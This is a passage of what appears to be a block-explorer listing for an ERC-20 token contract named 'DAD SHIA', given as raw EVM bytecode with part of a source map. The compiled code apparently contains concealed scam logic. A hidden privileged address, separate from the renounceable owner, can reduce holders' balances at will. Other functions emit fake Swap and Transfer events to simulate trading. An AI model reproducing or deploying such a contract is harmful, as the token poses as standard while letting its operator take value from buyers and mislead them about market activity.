b5f6020820190508181035f830152611edd81611ea4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f3e60228361151e565b9150611f4982611ee4565b604082019050919050565b5f6020820190508181035f830152611f6b81611f32565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611fa6601d8361151e565b9150611fb182611f72565b602082019050919050565b5f6020820190508181035f830152611fd381611f9a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61203460258361151e565b915061203f82611fda565b604082019050919050565b5f6020820190508181035f83015261206181612028565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120c260238361151e565b91506120cd82612068565b604082019050919050565b5f6020820190508181035f8301526120ef816120b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61215060268361151e565b915061215b826120f6565b604082019050919050565b5f6020820190508181035f83015261217d81612144565b9050919050565b5f6060820190506121975f830186611876565b6121a46020830185611876565b6121b160408301846116cd565b949350505050565b6121c28161169a565b81146121cc575f80fd5b50565b5f815190506121dd816121b9565b92915050565b5f602082840312156121f8576121f76115c7565b5b5f612205848285016121cf565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61224582611629565b915061225083611629565b9250826122605761225f61220e565b5b828204905092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61229f601e8361151e565b91506122aa8261226b565b602082019050919050565b5f6020820190508181035f8301526122cc81612293565b9050919050565b5f6122dd82611629565b91506122e883611629565b9250828203905081811115612300576122ff611b29565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61233a601b8361151e565b915061234582612306565b602082019050919050565b5f6020820190508181035f8301526123678161232e565b905091905056fea2646970667358221220912136da02a2a00b6d50928e9e5d9c6bb6f15920110329568e4282941b0dfbb664736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a05780639b792a441161006f5780639b792a44146102e0578063a1c617f514610310578063a457c2d71461032c578063a9059cbb1461035c578063dd62ed3e1461038c57610114565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c257610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d057806335d16274146101ee578063395093511461021e57806366d382031461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806318aee92014610184575b5f80fd5b6101206103bc565b60405161012d919061159e565b60405180910390f35b610150600480360381019061014b919061165c565b6103f5565b60405161015d91906116b4565b60405180910390f35b61016e61040b565b60405161017b91906116dc565b60405180910390f35b61019e60048036038101906101999190611756565b610411565b005b6101ba60048036038101906101b591906117c7565b61059d565b6040516101c791906116b4565b60405180910390f35b6101d86105bf565b6040516101e59190611832565b60405180910390f35b6102086004803603810190610203919061184b565b6105c4565b60405161021591906116dc565b60405180910390f35b6102386004803603810190610233919061165c565b610750565b60405161024591906116b4565b60405180910390f35b6102686004803603810190610263919061184b565b61077f565b005b610284600480360381019061027f919061184b565b610851565b60405161029191906116dc565b60405180910390f35b6102a2610897565b005b6102ac610968565b6040516102b99190611885565b60405180910390f35b6102ca61098d565b6040516102d7919061159e565b60405180910390f35b6102fa60048036038101906102f591906119d6565b6109c6565b60405161030791906116b4565b60405180910390f35b61032a60048036038101906103259190611756565b610aa7565b005b6103466004803603810190610341919061165c565b610c2e565b60405161035391906116b4565b60405180910390f35b6103766004803603810190610371919061165c565b610c9c565b60405161038391906116b4565b60405180910390f35b6103a660048036038101906103a19190611a56565b610cb2565b6040516103b391906116dc565b60405180910390f35b6040518060400160405280600881526020017f444144205348494100000000000000000000000000000000000000000000000081525081565b5f610401338484610d34565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049790611ade565b60405180910390fd5b5f5b8484905081101561059657826104de8686848181106104c4576104c3611afc565b5b90506020020160208101906104d9919061184b565b610851565b1115610583575f6105168686848181106104fb576104fa611afc565b5b9050602002016020810190610510919061184b565b84610ef7565b90508060075f88888681811061052f5761052e611afc565b5b9050602002016020810190610544919061184b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b808061058e90611b56565b9150506104a2565b5050505050565b5f6105a9843384610f47565b6105b4848484610fd2565b600190509392505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610631573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106559190611c19565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107009190611c7d565b73ffffffffffffffffffffffffffffffffffffffff161461073157816dffffffffffffffffffffffffffff16610743565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107748185856107658589610cb2565b61076f9190611ca8565b610d34565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080590611d25565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611d25565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f444144534849410000000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611ade565b60405180910390fd5b5f5b8551811015610a9a57610a87868281518110610a7757610a76611afc565b5b6020026020010151868686611270565b8080610a9290611b56565b915050610a58565b5060019050949350505050565b5f5b84849050811015610c2757848482818110610ac757610ac6611afc565b5b9050602002016020810190610adc919061184b565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610b5f9493929190611d85565b60405180910390a3848482818110610b7a57610b79611afc565b5b9050602002016020810190610b8f919061184b565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0c91906116dc565b60405180910390a38080610c1f90611b56565b915050610aa9565b5050505050565b5f803390505f610c3e8286610cb2565b905083811015610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90611e38565b60405180910390fd5b610c908286868403610d34565b60019250505092915050565b5f610ca8338484610fd2565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9990611ec6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0790611f54565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eea91906116dc565b60405180910390a3505050565b5f610f3f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361132a565b905092915050565b5f610f528484610cb2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610fcc5781811015610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611fbc565b60405180910390fd5b610fcb8484848403610d34565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110379061204a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906120d8565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112990612166565b60405180910390fd5b61113c818361133f565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111c460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361139c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126291906116dc565b60405180910390a350505050565b61127a84846113f9565b611285838386611483565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016112e393929190612184565b6020604051808303815f875af11580156112ff573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132391906121e3565b5050505050565b5f8183611337919061223b565b905092915050565b5f82821115611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137a906122b5565b60405180910390fd5b5f828461139091906122d3565b90508091505092915050565b5f8082846113aa9190611ca8565b9050838110156113ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e690612350565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147791906116dc565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516115079493929190611d85565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561154b578082015181840152602081019050611530565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61157082611514565b61157a818561151e565b935061158a81856020860161152e565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f8826115cf565b9050919050565b611608816115ee565b8114611612575f80fd5b50565b5f81359050611623816115ff565b92915050565b5f819050919050565b61163b81611629565b8114611645575f80fd5b50565b5f8135905061165681611632565b92915050565b5f8060408385031215611672576116716115c7565b5b5f61167f85828601611615565b925050602061169085828601611648565b9150509250929050565b5f8115159050919050565b6116ae8161169a565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b6116d681611629565b82525050565b5f6020820190506116ef5f8301846116cd565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611716576117156116f5565b5b8235905067ffffffffffffffff811115611733576117326116f9565b5b60208301915083602082028301111561174f5761174e6116fd565b5b9250929050565b5f805f806060858703121561176e5761176d6115c7565b5b5f85013567ffffffffffffffff81111561178b5761178a6115cb565b5b61179787828801611701565b945094505060206117aa87828801611648565b92505060406117bb87828801611648565b91505092959194509250565b5f805f606084860312156117de576117dd6115c7565b5b5f6117eb86828701611615565b93505060206117fc86828701611615565b925050604061180d86828701611648565b9150509250925092565b5f60ff82169050919050565b61182c81611817565b82525050565b5f6020820190506118455f830184611823565b92915050565b5f602082840312156118605761185f6115c7565b5b5f61186d84828501611615565b91505092915050565b61187f816115ee565b82525050565b5f6020820190506118985f830184611876565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6118d482611556565b810181811067ffffffffffffffff821117156118f3576118f261189e565b5b80604052505050565b5f6119056115be565b905061191182826118cb565b919050565b5f67ffffffffffffffff8211156119305761192f61189e565b5b602082029050602081019050919050565b5f61195361194e84611916565b6118fc565b90508083825260208201905060208402830185811115611976576119756116fd565b5b835b8181101561199f578061198b8882611615565b845260208401935050602081019050611978565b5050509392505050565b5f82601f8301126119bd576119bc6116f5565b5b81356119cd848260208601611941565b91505092915050565b5f805f80608085870312156119ee576119ed6115c7565b5b5f85013567ffffffffffffffff811115611a0b57611a0a6115cb565b5b611a17878288016119a9565b9450506020611a2887828801611648565b9350506040611a3987828801611648565b9250506060611a4a87828801611615565b91505092959194509250565b5f8060408385031215611a6c57611a6b6115c7565b5b5f611a7985828601611615565b9250506020611a8a85828601611615565b9150509250929050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f611ac860178361151e565b9150611ad382611a94565b602082019050919050565b5f6020820190508181035f830152611af581611abc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b6082611629565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b9257611b91611b29565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611bbf81611b9d565b8114611bc9575f80fd5b50565b5f81519050611bda81611bb6565b92915050565b5f63ffffffff82169050919050565b611bf881611be0565b8114611c02575f80fd5b50565b5f81519050611c1381611bef565b92915050565b5f805f60608486031215611c3057611c2f6115c7565b5b5f611c3d86828701611bcc565b9350506020611c4e86828701611bcc565b9250506040611c5f86828701611c05565b9150509250925092565b5f81519050611c77816115ff565b92915050565b5f60208284031215611c9257611c916115c7565b5b5f611c9f84828501611c69565b91505092915050565b5f611cb282611629565b9150611cbd83611629565b9250828201905080821115611cd557611cd4611b29565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611d0f60178361151e565b9150611d1a82611cdb565b602082019050919050565b5f6020820190508181035f830152611d3c81611d03565b9050919050565b5f819050919050565b5f819050919050565b5f611d6f611d6a611d6584611d43565b611d4c565b611629565b9050919050565b611d7f81611d55565b82525050565b5f608082019050611d985f8301876116cd565b611da56020830186611d76565b611db26040830185611d76565b611dbf60608301846116cd565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611e2260258361151e565b9150611e2d82611dc8565b604082019050919050565b5f6020820190508181035f830152611e4f81611e16565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611eb060248361151e565b9150611ebb82611e56565b604082019050919050565b5f6020820190508181035f830152611edd81611ea4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f3e60228361151e565b9150611f4982611ee4565b604082019050919050565b5f6020820190508181035f830152611f6b81611f32565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611fa6601d8361151e565b9150611fb182611f72565b602082019050919050565b5f6020820190508181035f830152611fd381611f9a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61203460258361151e565b915061203f82611fda565b604082019050919050565b5f6020820190508181035f83015261206181612028565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120c260238361151e565b91506120cd82612068565b604082019050919050565b5f6020820190508181035f8301526120ef816120b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61215060268361151e565b915061215b826120f6565b604082019050919050565b5f6020820190508181035f83015261217d81612144565b9050919050565b5f6060820190506121975f830186611876565b6121a46020830185611876565b6121b160408301846116cd565b949350505050565b6121c28161169a565b81146121cc575f80fd5b50565b5f815190506121dd816121b9565b92915050565b5f602082840312156121f8576121f76115c7565b5b5f612205848285016121cf565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61224582611629565b915061225083611629565b9250826122605761225f61220e565b5b828204905092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61229f601e8361151e565b91506122aa8261226b565b602082019050919050565b5f6020820190508181035f8301526122cc81612293565b9050919050565b5f6122dd82611629565b91506122e883611629565b9250828203905081811115612300576122ff611b29565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61233a601b8361151e565b915061234582612306565b602082019050919050565b5f6020820190508181035f8301526123678161232e565b905091905056fea2646970667358221220912136da02a2a00b6d50928e9e5d9c6bb6f15920110329568e4282941b0dfbb664736f6c63430008140033

Deployed Bytecode Sourcemap

1741:8008:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2412:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4392:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2549:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7603:421;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4558:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2507:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7305:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4814:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8040:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3956:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3865:83;;;:::i;:::-;;1824:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6931:358;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8138:293;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5064:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4081:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4239:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2412:40;;;;;;;;;;;;;;;;;;;:::o;4392:158::-;4466:4;4483:37;4492:10;4504:7;4513:6;4483:8;:37::i;:::-;4538:4;4531:11;;4392:158;;;;:::o;2549:45::-;;;;:::o;7603:421::-;3418:10;3408:20;;:6;;;;;;;;;;;:20;;;3400:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7760:9:::1;7755:262;7779:6;;:13;;7775:1;:17;7755:262;;;7841:19;7818:20;7828:6;;7835:1;7828:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7818;:20::i;:::-;:42;7814:192;;;7881:20;7904:33;7917:6;;7924:1;7917:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7928:8;7904:12;:33::i;:::-;7881:56;;7978:12;7956:8;:19;7965:6;;7972:1;7965:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7956:19;;;;;;;;;;;;;;;:34;;;;7862:144;7814:192;7794:3;;;;;:::i;:::-;;;;7755:262;;;;7603:421:::0;;;;:::o;4558:248::-;4680:4;4697:41;4713:4;4719:10;4731:6;4697:15;:41::i;:::-;4749:27;4759:4;4765:2;4769:6;4749:9;:27::i;:::-;4794:4;4787:11;;4558:248;;;;;:::o;2507:35::-;2540:2;2507:35;:::o;7305:290::-;7370:7;7391:16;7409;7431:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7390:60;;;;;7461:24;7507:5;7489:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;7488:65;;7544:8;7536:17;;7488:65;;;7524:8;7516:17;;7488:65;7461:92;;7571:16;7564:23;;;;;7305:290;;;:::o;4814:242::-;4902:4;4919:15;4937:10;4919:28;;4958:68;4967:7;4976;5015:10;4985:27;4995:7;5004;4985:9;:27::i;:::-;:40;;;;:::i;:::-;4958:8;:68::i;:::-;5044:4;5037:11;;;4814:242;;;;:::o;8040:86::-;3302:10;3293:19;;:5;;;;;;;;;;;:19;;;3285:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8111:7:::1;8102:6;;:16;;;;;;;;;;;;;;;;;;8040:86:::0;:::o;3956:117::-;4021:7;4048:8;:17;4057:7;4048:17;;;;;;;;;;;;;;;;4041:24;;3956:117;;;:::o;3865:83::-;3302:10;3293:19;;:5;;;;;;;;;;;:19;;;3285:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;3938:1:::1;3922:5;;:18;;;;;;;;;;;;;;;;;;3865:83::o:0;1824:20::-;;;;;;;;;;;;;:::o;2459:41::-;;;;;;;;;;;;;;;;;;;:::o;6931:358::-;7109:4;3418:10;3408:20;;:6;;;;;;;;;;;:20;;;3400:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7131:9:::1;7126:134;7150:10;:17;7146:1;:21;7126:134;;;7189:59;7195:10;7206:1;7195:13;;;;;;;;:::i;:::-;;;;;;;;7210:11;7223:10;7235:12;7189:5;:59::i;:::-;7169:3;;;;;:::i;:::-;;;;7126:134;;;;7277:4;7270:11;;6931:358:::0;;;;;;:::o;8138:293::-;8240:9;8235:189;8259:11;;:18;;8255:1;:22;8235:189;;;8339:11;;8351:1;8339:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8304:50;;8310:10;;;;;;;;;;;8304:50;;;8322:3;8327:1;8330;8333:4;8304:50;;;;;;;;;:::i;:::-;;;;;;;;8391:11;;8403:1;8391:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8374:38;;8383:6;;;;;;;;;;;8374:38;;;8407:4;8374:38;;;;;;:::i;:::-;;;;;;;;8279:3;;;;;:::i;:::-;;;;8235:189;;;;8138:293;;;;:::o;5064:438::-;5157:4;5174:15;5192:10;5174:28;;5213:24;5240:27;5250:7;5259;5240:9;:27::i;:::-;5213:54;;5306:15;5286:16;:35;;5278:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5399:62;5408:7;5417;5445:15;5426:16;:34;5399:8;:62::i;:::-;5490:4;5483:11;;;;5064:438;;;;:::o;4081:150::-;4151:4;4168:33;4178:10;4190:2;4194:6;4168:9;:33::i;:::-;4219:4;4212:11;;4081:150;;;;:::o;4239:145::-;4321:7;4348:10;:19;4359:7;4348:19;;;;;;;;;;;;;;;:28;4368:7;4348:28;;;;;;;;;;;;;;;;4341:35;;4239:145;;;;:::o;6069:387::-;6226:1;6207:21;;:7;:21;;;6199:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6307:1;6288:21;;:7;:21;;;6280:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6392:6;6361:10;:19;6372:7;6361:19;;;;;;;;;;;;;;;:28;6381:7;6361:28;;;;;;;;;;;;;;;:37;;;;6432:7;6414:34;;6423:7;6414:34;;;6441:6;6414:34;;;;;;:::i;:::-;;;;;;;;6069:387;;;:::o;9156:146::-;9234:7;9261:33;9268:8;:15;9277:5;9268:15;;;;;;;;;;;;;;;;9285:8;9261:6;:33::i;:::-;9254:40;;9156:146;;;;:::o;6464:459::-;6601:24;6628:27;6638:7;6647;6628:9;:27::i;:::-;6601:54;;6690:17;6670:16;:37;6666:250;;6752:6;6732:16;:26;;6724:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6836:53;6845:7;6854;6882:6;6863:16;:25;6836:8;:53::i;:::-;6666:250;6590:333;6464:459;;;:::o;5510:551::-;5657:1;5641:18;;:4;:18;;;5633:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5734:1;5720:16;;:2;:16;;;5712:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5789:19;5811:8;:14;5820:4;5811:14;;;;;;;;;;;;;;;;5789:36;;5859:6;5844:11;:21;;5836:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5936:24;5940:11;5953:6;5936:3;:24::i;:::-;5919:8;:14;5928:4;5919:14;;;;;;;;;;;;;;;:41;;;;5986:25;5990:8;:12;5999:2;5990:12;;;;;;;;;;;;;;;;6004:6;5986:3;:25::i;:::-;5971:8;:12;5980:2;5971:12;;;;;;;;;;;;;;;:40;;;;6042:2;6027:26;;6036:4;6027:26;;;6046:6;6027:26;;;;;;:::i;:::-;;;;;;;;5622:439;5510:551;;;:::o;8439:341::-;8599:37;8613:9;8624:11;8599:13;:37::i;:::-;8647:45;8657:11;8670:10;8682:9;8647;:45::i;:::-;8710:12;8703:30;;;8734:9;8753:5;;;;;;;;;;;8761:10;8703:69;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8439:341;;;;:::o;9645:101::-;9706:7;9737:1;9733;:5;;;;:::i;:::-;9726:12;;9645:101;;;;:::o;3673:184::-;3731:7;3764:1;3759;:6;;3751:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;3811:9;3827:1;3823;:5;;;;:::i;:::-;3811:17;;3848:1;3841:8;;;3673:184;;;;:::o;3484:181::-;3542:7;3562:9;3578:1;3574;:5;;;;:::i;:::-;3562:17;;3603:1;3598;:6;;3590:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;3656:1;3649:8;;;3484:181;;;;:::o;8788:144::-;8901:9;8876:48;;8893:5;;;;;;;;;;;8876:48;;;8912:11;8876:48;;;;;;:::i;:::-;;;;;;;;8788:144;;:::o;8940:208::-;9130:9;9078:62;;9083:14;;;;;;;;;;;9078:62;;;9099:11;9112:1;9115;9118:10;9078:62;;;;;;;;;:::i;:::-;;;;;;;;8940:208;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;16